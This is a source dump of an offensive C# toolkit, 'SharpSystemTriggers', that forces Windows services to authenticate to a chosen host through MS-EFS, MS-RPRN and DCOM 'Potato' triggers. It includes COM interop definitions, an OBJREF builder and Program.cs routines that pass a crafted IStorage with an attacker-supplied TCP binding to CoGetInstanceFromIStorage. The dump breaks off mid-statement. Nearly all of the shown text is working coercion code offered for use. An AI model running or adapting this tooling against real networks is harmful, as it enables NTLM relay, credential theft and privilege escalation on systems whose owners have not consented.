use -Oif interpreter. 33 | /// Oi_USE_NEW_INIT_ROUTINES: 0x40: Uses Windows NT3.5 Beta2+ init routines. 34 | /// 0x80: Unused. 35 | /// 36 | public byte OiFlags; 37 | 38 | /// 39 | /// The rpc_flags field describes how to set the RpcFlags field of the RPC_MESSAGE structure. 40 | /// This field is only present if the Oi_flags field has Oi_HAD_RPCFLAGS set. 41 | /// If this field is not present, then the RPC flags for the remote procedure are zero. 42 | /// 43 | public uint? RpcFlags; 44 | 45 | /// 46 | /// The proc_num field provides the procedure's procedure number. 47 | /// 48 | public ushort ProcNum; 49 | 50 | /// 51 | /// The stack_size provides the total size of all parameters on the stack, 52 | /// including any this pointer and/or return value. 53 | /// 54 | public ushort StackSize; 55 | 56 | /// 57 | /// The explicit_handle_description field is described later in this document. 58 | /// This field is not present if the procedure uses an implicit handle. 59 | /// 60 | public byte[] ExplicitHandleDescription; 61 | 62 | /// 63 | /// constant_client_buffer_size 64 | /// 65 | public ushort ClientBufferSize; 66 | 67 | /// 68 | /// constant_server_buffer_size 69 | /// 70 | public ushort ServerBufferSize; 71 | 72 | /// 73 | /// INTERPRETER_OPT_FLAGS 74 | /// 75 | public byte InterpreterOptFlags; 76 | 77 | /// 78 | /// number_of_params 79 | /// 80 | public byte NumberOfParams; 81 | 82 | /// 83 | /// size of the extension 84 | /// 85 | public byte? ExtensionSize; 86 | 87 | /// 88 | /// INTERPRETER_OPT_FLAGS2 in extension 89 | /// 90 | public RpceInterpreterOptFlags2? ExtensionFlags2; 91 | 92 | /// 93 | /// hint of correlation check at client-side in extension 94 | /// 95 | public ushort? ExtensionClientCorrHint; 96 | 97 | /// 98 | /// hint of correlation check at server-side in extension 99 | /// 100 | public ushort? ExtensionServerCorrHint; 101 | 102 | /// 103 | /// notify index in extension 104 | /// 105 | public ushort? ExtensionNotifyIndex; 106 | } 107 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpSystemTriggers 2 | 3 | Collection of remote authentication triggers coded in C# using MIDL compiler for avoiding 3rd party dependencies. 4 | 5 | 6 | 7 | ## Midl2Bytes 8 | 9 | For easy converting MIDL output to C# byte array. 10 | 11 | ![](Images/midl2bytes.png) 12 | 13 | One liner to get function call and call ID `(cat ms-rprn_c.c | sls '/* Procedure .* ' -Context 0,10) | foreach-object {$_.matches.value.replace(' Procedure ','') + " " + ($_.Context.PostContext | sls '^\/\*')[0].Line.Split()[1]}` 14 | 15 | 16 | 17 | ## SharpEfsTrigger 18 | 19 | C# Implementation of MS-EFS RPC 20 | 21 | ![](Images/efs.png) 22 | 23 | 24 | 25 | ## SharpSpoolTrigger 26 | 27 | C# Implementation of MS-RPRN RPC 28 | 29 | ![](Images/spool.png) 30 | 31 | 32 | 33 | ## SharpDcomTrigger 34 | 35 | C# Implementation of DCOM Potato triggers 36 | 37 | ![](Images/dcom.png) 38 | 39 | 40 | 41 | ## Acknowledgements 42 | 43 | * [PetitPotam](https://github.com/topotam/PetitPotam) by [topotam](https://twitter.com/topotam77) 44 | * [SpoolSample](https://github.com/leechristensen/SpoolSample) by [Lee Christensen](http://twitter.com/tifkin_) 45 | * [EfsPotato](https://github.com/zcgonvh/EfsPotato) by zcgonvh 46 | * [pingcastle](https://github.com/vletoux/pingcastle) by [vletoux](https://twitter.com/mysmartlogon) 47 | * All the potato devs 48 | * [tiraniddo](https://twitter.com/tiraniddo) 49 | 50 | -------------------------------------------------------------------------------- /SharpDcomTrigger/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/IEnumSTATSTG.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | [ComImport] 7 | [Guid("0000000d-0000-0000-C000-000000000046")] 8 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 9 | public interface IEnumSTATSTG { 10 | // The user needs to allocate an STATSTG array whose size is celt. 11 | [PreserveSig] 12 | uint 13 | Next(uint celt, [MarshalAs(UnmanagedType.LPArray), Out] STATSTG[] rgelt, out uint pceltFetched); 14 | 15 | void Skip(uint celt); 16 | 17 | void Reset(); 18 | 19 | [return: MarshalAs(UnmanagedType.Interface)] 20 | IEnumSTATSTG Clone(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/ILockBytes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | [ComVisible(false)] 7 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("0000000A-0000-0000-C000-000000000046")] 8 | public interface ILockBytes { 9 | //Note: These two by(reference 32-bit integers (ULONG) could be used as return values instead, 10 | // but they are not tagged [retval] in the IDL, so for consitency's sake... 11 | void ReadAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbRead); 12 | void WriteAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbWritten); 13 | void Flush(); 14 | void SetSize(long cb); 15 | void LockRegion(long libOffset, long cb, int dwLockType); 16 | void UnlockRegion(long libOffset, long cb, int dwLockType); 17 | void Stat(out System.Runtime.InteropServices.STATSTG pstatstg, int grfStatFlag); 18 | 19 | } 20 | 21 | 22 | } 23 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/IMarshal.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | 7 | [Guid("00000003-0000-0000-C000-000000000046")] 8 | [InterfaceType(1)] 9 | [ComConversionLoss] 10 | [ComImport] 11 | public interface IMarshal { 12 | 13 | void GetUnmarshalClass([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out Guid pCid); 14 | void GetMarshalSizeMax([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out uint pSize); 15 | void MarshalInterface([MarshalAs(28)] [In] IStream pstm, [In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS); 16 | void UnmarshalInterface([MarshalAs(28)] [In] IStream pstm, [In] ref Guid riid, out IntPtr ppv); 17 | void ReleaseMarshalData([MarshalAs(28)] [In] IStream pstm); 18 | void DisconnectObject([In] uint dwReserved); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/IStorage.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | 7 | [InterfaceType(1)] 8 | [ComConversionLoss] 9 | [Guid("0000000B-0000-0000-C000-000000000046")] 10 | [ComImport] 11 | public interface IStorage { 12 | void CreateStream([MarshalAs(21)] [In] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(28)] out IStream ppstm); 13 | void OpenStream([MarshalAs(21)] [In] string pwcsName, [In] IntPtr reserved1, [In] uint grfMode, [In] uint reserved2, [MarshalAs(28)] out IStream ppstm); 14 | void CreateStorage([MarshalAs(21)] [In] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(28)] out IStorage ppstg); 15 | void OpenStorage([MarshalAs(21)] [In] string pwcsName, [MarshalAs(28)] [In] IStorage pstgPriority, [In] uint grfMode, [In] IntPtr snbExclude, [In] uint reserved, [MarshalAs(28)] out IStorage ppstg); 16 | void CopyTo([In] uint ciidExclude, [MarshalAs(42, SizeParamIndex = 0)] [In] Guid[] rgiidExclude, [In] IntPtr snbExclude, [MarshalAs(28)] [In] IStorage pstgDest); 17 | void MoveElementTo([MarshalAs(21)] [In] string pwcsName, [MarshalAs(28)] [In] IStorage pstgDest, [MarshalAs(21)] [In] string pwcsNewName, [In] uint grfFlags); 18 | void Commit([In] uint grfCommitFlags); 19 | void Revert(); 20 | void EnumElements([In] uint reserved1, [In] IntPtr reserved2, [In] uint reserved3, [MarshalAs(28)] out IEnumSTATSTG ppEnum); 21 | void DestroyElement([MarshalAs(21)] [In] string pwcsName); 22 | void RenameElement([MarshalAs(21)] [In] string pwcsOldName, [MarshalAs(21)] [In] string pwcsNewName); 23 | void SetElementTimes([MarshalAs(21)] [In] string pwcsName, [MarshalAs(42)] [In] FILETIME[] pctime, [MarshalAs(42)] [In] FILETIME[] patime, [MarshalAs(42)] [In] FILETIME[] pmtime); 24 | void SetClass([In] ref Guid clsid); 25 | void SetStateBits([In] uint grfStateBits, [In] uint grfMask); 26 | void Stat([MarshalAs(42)] [Out] STATSTG[] pstatstg, [In] uint grfStatFlag); 27 | } 28 | } 29 | 30 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/IStream.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | [ComImport, Guid("0000000c-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 7 | public interface IStream { 8 | void Read([Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbRead); 9 | void Write([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbWritten); 10 | void Seek(long dlibMove, uint dwOrigin, out long plibNewPosition); 11 | void SetSize(long libNewSize); 12 | void CopyTo(IStream pstm, long cb, out long pcbRead, out long pcbWritten); 13 | void Commit(uint grfCommitFlags); 14 | void Revert(); 15 | void LockRegion(long libOffset, long cb, uint dwLockType); 16 | void UnlockRegion(long libOffset, long cb, uint dwLockType); 17 | void Stat(out STATSTG pstatstg, uint grfStatFlag); 18 | void Clone(out IStream ppstm); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Com/Ole32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpDcomTrigger.Com 5 | { 6 | public static class Ole32 { 7 | 8 | [Flags] 9 | public enum CLSCTX : uint { 10 | CLSCTX_INPROC_SERVER = 0x1, 11 | CLSCTX_INPROC_HANDLER = 0x2, 12 | CLSCTX_LOCAL_SERVER = 0x4, 13 | CLSCTX_INPROC_SERVER16 = 0x8, 14 | CLSCTX_REMOTE_SERVER = 0x10, 15 | CLSCTX_INPROC_HANDLER16 = 0x20, 16 | CLSCTX_RESERVED1 = 0x40, 17 | CLSCTX_RESERVED2 = 0x80, 18 | CLSCTX_RESERVED3 = 0x100, 19 | CLSCTX_RESERVED4 = 0x200, 20 | CLSCTX_NO_CODE_DOWNLOAD = 0x400, 21 | CLSCTX_RESERVED5 = 0x800, 22 | CLSCTX_NO_CUSTOM_MARSHAL = 0x1000, 23 | CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000, 24 | CLSCTX_NO_FAILURE_LOG = 0x4000, 25 | CLSCTX_DISABLE_AAA = 0x8000, 26 | CLSCTX_ENABLE_AAA = 0x10000, 27 | CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000, 28 | CLSCTX_ACTIVATE_32_BIT_SERVER = 0x40000, 29 | CLSCTX_ACTIVATE_64_BIT_SERVER = 0x80000, 30 | CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, 31 | CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER, 32 | CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER 33 | } 34 | 35 | [Flags] 36 | public enum STGM : int { 37 | DIRECT = 0x00000000, 38 | TRANSACTED = 0x00010000, 39 | SIMPLE = 0x08000000, 40 | READ = 0x00000000, 41 | WRITE = 0x00000001, 42 | READWRITE = 0x00000002, 43 | SHARE_DENY_NONE = 0x00000040, 44 | SHARE_DENY_READ = 0x00000030, 45 | SHARE_DENY_WRITE = 0x00000020, 46 | SHARE_EXCLUSIVE = 0x00000010, 47 | PRIORITY = 0x00040000, 48 | DELETEONRELEASE = 0x04000000, 49 | NOSCRATCH = 0x00100000, 50 | CREATE = 0x00001000, 51 | CONVERT = 0x00020000, 52 | FAILIFTHERE = 0x00000000, 53 | NOSNAPSHOT = 0x00200000, 54 | DIRECT_SWMR = 0x00400000, 55 | } 56 | 57 | public static IntPtr GuidToPointer(Guid g) { 58 | IntPtr ret = Marshal.AllocCoTaskMem(16); 59 | Marshal.Copy(g.ToByteArray(), 0, ret, 16); 60 | return ret; 61 | } 62 | 63 | public static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}"); 64 | public static IntPtr IID_IUnknownPtr = GuidToPointer(IID_IUnknown); 65 | 66 | [StructLayout(LayoutKind.Sequential)] 67 | public struct MULTI_QI { 68 | public IntPtr pIID; 69 | [MarshalAs(UnmanagedType.Interface)] 70 | public object pItf; 71 | public int hr; 72 | } 73 | 74 | [StructLayout(LayoutKind.Sequential)] 75 | public class COSERVERINFO { 76 | public uint dwReserved1; 77 | [MarshalAs(UnmanagedType.LPWStr)] 78 | public string pwszName; 79 | public IntPtr pAuthInfo; 80 | public uint dwReserved2; 81 | } 82 | 83 | [StructLayout(LayoutKind.Sequential)] 84 | public struct SOLE_AUTHENTICATION_SERVICE 85 | { 86 | public int dwAuthnSvc; 87 | public int dwAuthzSvc; 88 | [MarshalAs(UnmanagedType.BStr)] public string pPrincipalName; 89 | public int hr; 90 | } 91 | 92 | public enum EOLE_AUTHENTICATION_CAPABILITIES 93 | { 94 | EOAC_NONE = 0, 95 | EOAC_MUTUAL_AUTH = 0x1, 96 | EOAC_STATIC_CLOAKING = 0x20, 97 | EOAC_DYNAMIC_CLOAKING = 0x40, 98 | EOAC_ANY_AUTHORITY = 0x80, 99 | EOAC_MAKE_FULLSIC = 0x100, 100 | EOAC_DEFAULT = 0x800, 101 | EOAC_SECURE_REFS = 0x2, 102 | EOAC_ACCESS_CONTROL = 0x4, 103 | EOAC_APPID = 0x8, 104 | EOAC_DYNAMIC = 0x10, 105 | EOAC_REQUIRE_FULLSIC = 0x200, 106 | EOAC_AUTO_IMPERSONATE = 0x400, 107 | EOAC_NO_CUSTOM_MARSHAL = 0x2000, 108 | EOAC_DISABLE_AAA = 0x1000 109 | } 110 | 111 | public enum AuthnLevel 112 | { 113 | RPC_C_AUTHN_LEVEL_DEFAULT = 0, 114 | RPC_C_AUTHN_LEVEL_NONE = 1, 115 | RPC_C_AUTHN_LEVEL_CONNECT = 2, 116 | RPC_C_AUTHN_LEVEL_CALL = 3, 117 | RPC_C_AUTHN_LEVEL_PKT = 4, 118 | RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5, 119 | RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6 120 | } 121 | 122 | public enum ImpLevel 123 | { 124 | RPC_C_IMP_LEVEL_DEFAULT = 0, 125 | RPC_C_IMP_LEVEL_ANONYMOUS = 1, 126 | RPC_C_IMP_LEVEL_IDENTIFY = 2, 127 | RPC_C_IMP_LEVEL_IMPERSONATE = 3, 128 | RPC_C_IMP_LEVEL_DELEGATE = 4, 129 | } 130 | 131 | [DllImport("ole32.dll")] 132 | public static extern int CoInitializeSecurity( 133 | IntPtr pSecDesc, 134 | int cAuthSvc, 135 | IntPtr asAuthSvc, 136 | IntPtr pReserved1, 137 | AuthnLevel dwAuthnLevel, 138 | ImpLevel dwImpLevel, 139 | IntPtr pAuthList, 140 | EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, 141 | IntPtr pReserved3 142 | ); 143 | 144 | 145 | [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] 146 | public static extern int CreateILockBytesOnHGlobal( 147 | IntPtr hGlobal, 148 | [MarshalAs(UnmanagedType.Bool)] bool fDeleteOnRelease, 149 | out ILockBytes ppLkbyt); 150 | 151 | [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] 152 | public static extern int StgCreateDocfileOnILockBytes( 153 | ILockBytes plkbyt, 154 | STGM grfMode, 155 | uint reserved, 156 | out IStorage ppstgOpen); 157 | 158 | [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)] 159 | public static extern int CoGetInstanceFromIStorage( 160 | COSERVERINFO pServerInfo, 161 | ref Guid pclsid, 162 | [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, 163 | CLSCTX dwClsCtx, 164 | IStorage pstg, 165 | uint cmq, 166 | [In, Out] MULTI_QI[] rgmqResults); 167 | 168 | public enum CoCreateReturn : uint 169 | { 170 | S_OK = 0x00000000, //Operation successful 171 | E_NOTIMPL = 0x80004001, //Not implemented 172 | E_NOINTERFACE = 0x80004002, //No such interface supported 173 | E_POINTER = 0x80004003, //Pointer that is not valid 174 | E_ABORT = 0x80004004, //Operation aborted 175 | E_FAIL = 0x80004005, //Unspecified failure 176 | E_UNEXPECTED = 0x8000FFFF, //Unexpected failure 177 | E_ACCESSDENIED = 0x80070005, //General access denied error 178 | E_HANDLE = 0x80070006, //Handle that is not valid 179 | E_OUTOFMEMORY = 0x8007000E, //Failed to allocate necessary memory 180 | E_INVALIDARG = 0x80070057, //One or more arguments are not valid 181 | E_CLASSNOTREG = 0x80040154 // Class not registered 182 | } 183 | 184 | [DllImport("ole32.Dll")] 185 | static public extern uint CoCreateInstance(ref Guid clsid, 186 | [MarshalAs(UnmanagedType.IUnknown)] object inner, 187 | uint context, 188 | ref Guid uuid, 189 | [MarshalAs(UnmanagedType.IUnknown)] out object rReturnedComObject); 190 | 191 | [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)] 192 | public static extern int CoCreateInstance( 193 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, 194 | [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, 195 | CLSCTX dwClsContext, 196 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, 197 | [MarshalAs(UnmanagedType.IUnknown)] out object rReturnedComObject 198 | ); 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /SharpDcomTrigger/ObjRef.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | 5 | namespace SharpDcomTrigger 6 | { 7 | 8 | public enum TowerProtocol : ushort { 9 | EPM_PROTOCOL_DNET_NSP = 0x04, 10 | EPM_PROTOCOL_OSI_TP4 = 0x05, 11 | EPM_PROTOCOL_OSI_CLNS = 0x06, 12 | EPM_PROTOCOL_TCP = 0x07, 13 | EPM_PROTOCOL_UDP = 0x08, 14 | EPM_PROTOCOL_IP = 0x09, 15 | EPM_PROTOCOL_NCADG = 0x0a, /* Connectionless RPC */ 16 | EPM_PROTOCOL_NCACN = 0x0b, 17 | EPM_PROTOCOL_NCALRPC = 0x0c, /* Local RPC */ 18 | EPM_PROTOCOL_UUID = 0x0d, 19 | EPM_PROTOCOL_IPX = 0x0e, 20 | EPM_PROTOCOL_SMB = 0x0f, 21 | EPM_PROTOCOL_NAMED_PIPE = 0x10, 22 | EPM_PROTOCOL_NETBIOS = 0x11, 23 | EPM_PROTOCOL_NETBEUI = 0x12, 24 | EPM_PROTOCOL_SPX = 0x13, 25 | EPM_PROTOCOL_NB_IPX = 0x14, /* NetBIOS over IPX */ 26 | EPM_PROTOCOL_DSP = 0x16, /* AppleTalk Data Stream Protocol */ 27 | EPM_PROTOCOL_DDP = 0x17, /* AppleTalk Data Datagram Protocol */ 28 | EPM_PROTOCOL_APPLETALK = 0x18, /* AppleTalk */ 29 | EPM_PROTOCOL_VINES_SPP = 0x1a, 30 | EPM_PROTOCOL_VINES_IPC = 0x1b, /* Inter Process Communication */ 31 | EPM_PROTOCOL_STREETTALK = 0x1c, /* Vines Streettalk */ 32 | EPM_PROTOCOL_HTTP = 0x1f, 33 | EPM_PROTOCOL_UNIX_DS = 0x20, /* Unix domain socket */ 34 | EPM_PROTOCOL_NULL = 0x21 35 | } 36 | 37 | public class ObjRef { 38 | 39 | [Flags] 40 | enum Type : uint { 41 | Standard = 0x1, 42 | Handler = 0x2, 43 | Custom = 0x4 44 | } 45 | 46 | const uint Signature = 0x574f454d; 47 | public readonly Guid Guid; 48 | public readonly Standard StandardObjRef; 49 | 50 | public ObjRef(Guid guid, Standard standardObjRef) { 51 | Guid = guid; 52 | StandardObjRef = standardObjRef; 53 | } 54 | 55 | public ObjRef(byte[] objRefBytes) { 56 | 57 | BinaryReader br = new BinaryReader(new MemoryStream(objRefBytes), Encoding.Unicode); 58 | 59 | if (br.ReadUInt32() != Signature) { 60 | throw new InvalidDataException("Does not look like an OBJREF stream"); 61 | } 62 | 63 | uint flags = br.ReadUInt32(); 64 | Guid = new Guid(br.ReadBytes(16)); 65 | 66 | if ((Type)flags == Type.Standard) { 67 | StandardObjRef = new Standard(br); 68 | } 69 | } 70 | 71 | public byte[] GetBytes() { 72 | BinaryWriter bw = new BinaryWriter(new MemoryStream()); 73 | 74 | bw.Write(Signature); 75 | bw.Write((uint)1); 76 | bw.Write(Guid.ToByteArray()); 77 | 78 | StandardObjRef.Save(bw); 79 | 80 | return ((MemoryStream)bw.BaseStream).ToArray(); 81 | } 82 | 83 | public class SecurityBinding { 84 | 85 | public readonly ushort AuthnSvc; 86 | public readonly ushort AuthzSvc; 87 | public readonly string PrincipalName; 88 | 89 | public SecurityBinding(ushort authnSvc, ushort authzSnc, string principalName) { 90 | AuthnSvc = authnSvc; 91 | AuthzSvc = authzSnc; 92 | PrincipalName = principalName; 93 | } 94 | 95 | public SecurityBinding(BinaryReader br) { 96 | 97 | AuthnSvc = br.ReadUInt16(); 98 | AuthzSvc = br.ReadUInt16(); 99 | char character; 100 | string principalName = ""; 101 | 102 | while ((character = br.ReadChar()) != 0) { 103 | principalName += character; 104 | } 105 | 106 | br.ReadChar(); 107 | } 108 | 109 | 110 | public byte[] GetBytes() { 111 | BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); 112 | 113 | bw.Write(AuthnSvc); 114 | bw.Write(AuthzSvc); 115 | 116 | if (PrincipalName != null && PrincipalName.Length > 0) 117 | bw.Write(Encoding.Unicode.GetBytes(PrincipalName)); 118 | 119 | bw.Write((char)0); 120 | bw.Write((char)0); 121 | 122 | return ((MemoryStream)bw.BaseStream).ToArray(); 123 | } 124 | } 125 | 126 | public class StringBinding { 127 | public readonly TowerProtocol TowerID; 128 | public readonly string NetworkAddress; 129 | 130 | public StringBinding(TowerProtocol towerID, string networkAddress) { 131 | TowerID = towerID; 132 | NetworkAddress = networkAddress; 133 | } 134 | 135 | public StringBinding(BinaryReader br) { 136 | TowerID = (TowerProtocol)br.ReadUInt16(); 137 | char character; 138 | string networkAddress = ""; 139 | 140 | while ((character = br.ReadChar()) != 0) { 141 | networkAddress += character; 142 | } 143 | 144 | br.ReadChar(); 145 | NetworkAddress = networkAddress; 146 | } 147 | 148 | internal byte[] GetBytes() { 149 | BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode); 150 | 151 | bw.Write((ushort)TowerID); 152 | bw.Write(Encoding.Unicode.GetBytes(NetworkAddress)); 153 | bw.Write((char)0); 154 | bw.Write((char)0); 155 | 156 | return ((MemoryStream)bw.BaseStream).ToArray(); 157 | } 158 | } 159 | 160 | public class DualStringArray { 161 | private readonly ushort NumEntries; 162 | private readonly ushort SecurityOffset; 163 | public readonly StringBinding StringBinding; 164 | public readonly SecurityBinding SecurityBinding; 165 | 166 | public DualStringArray(StringBinding stringBinding, SecurityBinding securityBinding) { 167 | NumEntries = (ushort)((stringBinding.GetBytes().Length + securityBinding.GetBytes().Length) / 2); 168 | SecurityOffset = (ushort)(stringBinding.GetBytes().Length / 2); 169 | 170 | StringBinding = stringBinding; 171 | SecurityBinding = securityBinding; 172 | } 173 | 174 | public DualStringArray(BinaryReader br) { 175 | NumEntries = br.ReadUInt16(); 176 | SecurityOffset = br.ReadUInt16(); 177 | 178 | StringBinding = new StringBinding(br); 179 | SecurityBinding = new SecurityBinding(br); 180 | } 181 | 182 | internal void Save(BinaryWriter bw) { 183 | 184 | byte[] stringBinding = StringBinding.GetBytes(); 185 | byte[] securityBinding = SecurityBinding.GetBytes(); 186 | 187 | bw.Write((ushort)((stringBinding.Length + securityBinding.Length) / 2)); 188 | bw.Write((ushort)(stringBinding.Length / 2)); 189 | bw.Write(stringBinding); 190 | bw.Write(securityBinding); 191 | } 192 | } 193 | 194 | public class Standard { 195 | 196 | const ulong Oxid = 0x0703d84a06ec96cc; 197 | const ulong Oid = 0x539d029cce31ac; 198 | 199 | public readonly uint Flags; 200 | public readonly uint PublicRefs; 201 | public readonly ulong OXID; 202 | public readonly ulong OID; 203 | public readonly Guid IPID; 204 | public readonly DualStringArray DualStringArray; 205 | 206 | public Standard(uint flags, uint publicRefs, ulong oxid, ulong oid, Guid ipid, DualStringArray dualStringArray) { 207 | Flags = flags; 208 | PublicRefs = publicRefs; 209 | OXID = oxid; 210 | OID = oid; 211 | IPID = ipid; 212 | DualStringArray = dualStringArray; 213 | } 214 | 215 | public Standard(BinaryReader br) { 216 | Flags = br.ReadUInt32(); 217 | PublicRefs = br.ReadUInt32(); 218 | OXID = br.ReadUInt64(); 219 | OID = br.ReadUInt64(); 220 | IPID = new Guid(br.ReadBytes(16)); 221 | 222 | DualStringArray = new DualStringArray(br); 223 | } 224 | 225 | internal void Save(BinaryWriter bw) { 226 | bw.Write(Flags); 227 | bw.Write(PublicRefs); 228 | bw.Write(OXID); 229 | bw.Write(OID); 230 | bw.Write(IPID.ToByteArray()); 231 | DualStringArray.Save(bw); 232 | } 233 | } 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Program.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using SharpDcomTrigger.Com; 3 | using System; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Principal; 7 | using System.Threading; 8 | 9 | namespace SharpDcomTrigger 10 | { 11 | class Program 12 | { 13 | 14 | [Guid("0000033C-0000-0000-c000-000000000046")] 15 | [ComImport] 16 | private class StandardActivator 17 | { 18 | } 19 | 20 | 21 | // Run here to ensure it's called before the main thread. 22 | private static readonly Ole32.SOLE_AUTHENTICATION_SERVICE[] svcs = new Ole32.SOLE_AUTHENTICATION_SERVICE[] { 23 | new Ole32.SOLE_AUTHENTICATION_SERVICE() { 24 | dwAuthnSvc = 5, 25 | } 26 | }; 27 | private static readonly int _security_init = Ole32.CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, 28 | Ole32.AuthnLevel.RPC_C_AUTHN_LEVEL_DEFAULT, Ole32.ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero, 29 | Ole32.EOLE_AUTHENTICATION_CAPABILITIES.EOAC_DYNAMIC_CLOAKING, IntPtr.Zero); 30 | 31 | 32 | public static int TriggerSystem(string clsid, string binding) 33 | { 34 | 35 | int result = 0; 36 | Guid clsId_guid = new Guid(clsid); 37 | 38 | try 39 | { 40 | //Create IStorage object 41 | result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes); 42 | result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage); 43 | 44 | //Initialze IStorageTrigger object 45 | StorageTrigger storageTrigger = new StorageTrigger(storage, binding, TowerProtocol.EPM_PROTOCOL_TCP); 46 | 47 | Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1]; 48 | qis[0].pIID = Ole32.IID_IUnknownPtr; 49 | qis[0].pItf = null; 50 | qis[0].hr = 0; 51 | 52 | result = Ole32.CoGetInstanceFromIStorage(null, ref clsId_guid, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis); 53 | 54 | } 55 | catch (Exception e) 56 | { 57 | //Console.WriteLine(e); 58 | } 59 | 60 | return 0; 61 | } 62 | 63 | public static int TriggerSession(string clsid, string binding, int session_id = -1) 64 | { 65 | Guid clsId_guid = new Guid(clsid); 66 | IStorage stg; 67 | ILockBytes lb; 68 | int result; 69 | 70 | try 71 | { 72 | //Initialze IStorage object 73 | result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out lb); 74 | result = Ole32.StgCreateDocfileOnILockBytes(lb, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out stg); 75 | //Console.WriteLine("std: {0}", stg); 76 | 77 | //Initialze IStorageTrigger object 78 | StorageTrigger storageTrigger = new StorageTrigger(stg, binding, TowerProtocol.EPM_PROTOCOL_TCP); 79 | 80 | //Guid clsid = new Guid("{0bae55fc-479f-45c2-972e-e951be72c0c1}"); 81 | //Guid clsid = new Guid("{4991d34b-80a1-4291-83b6-3328366b9097}"); 82 | //Guid clsid = new Guid("{5167B42F-C111-47A1-ACC4-8EABE61B0B54}"); 83 | Guid tmp = new Guid("{00000000-0000-0000-C000-000000000046}"); 84 | Guid CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}"); 85 | Guid IID_IStandardActivator = typeof(IStandardActivator).GUID; 86 | 87 | Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1]; 88 | qis[0].pIID = Ole32.IID_IUnknownPtr; 89 | qis[0].pItf = null; 90 | qis[0].hr = 0; 91 | var pComAct = (IStandardActivator)new StandardActivator(); 92 | uint result2 = Ole32.CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref 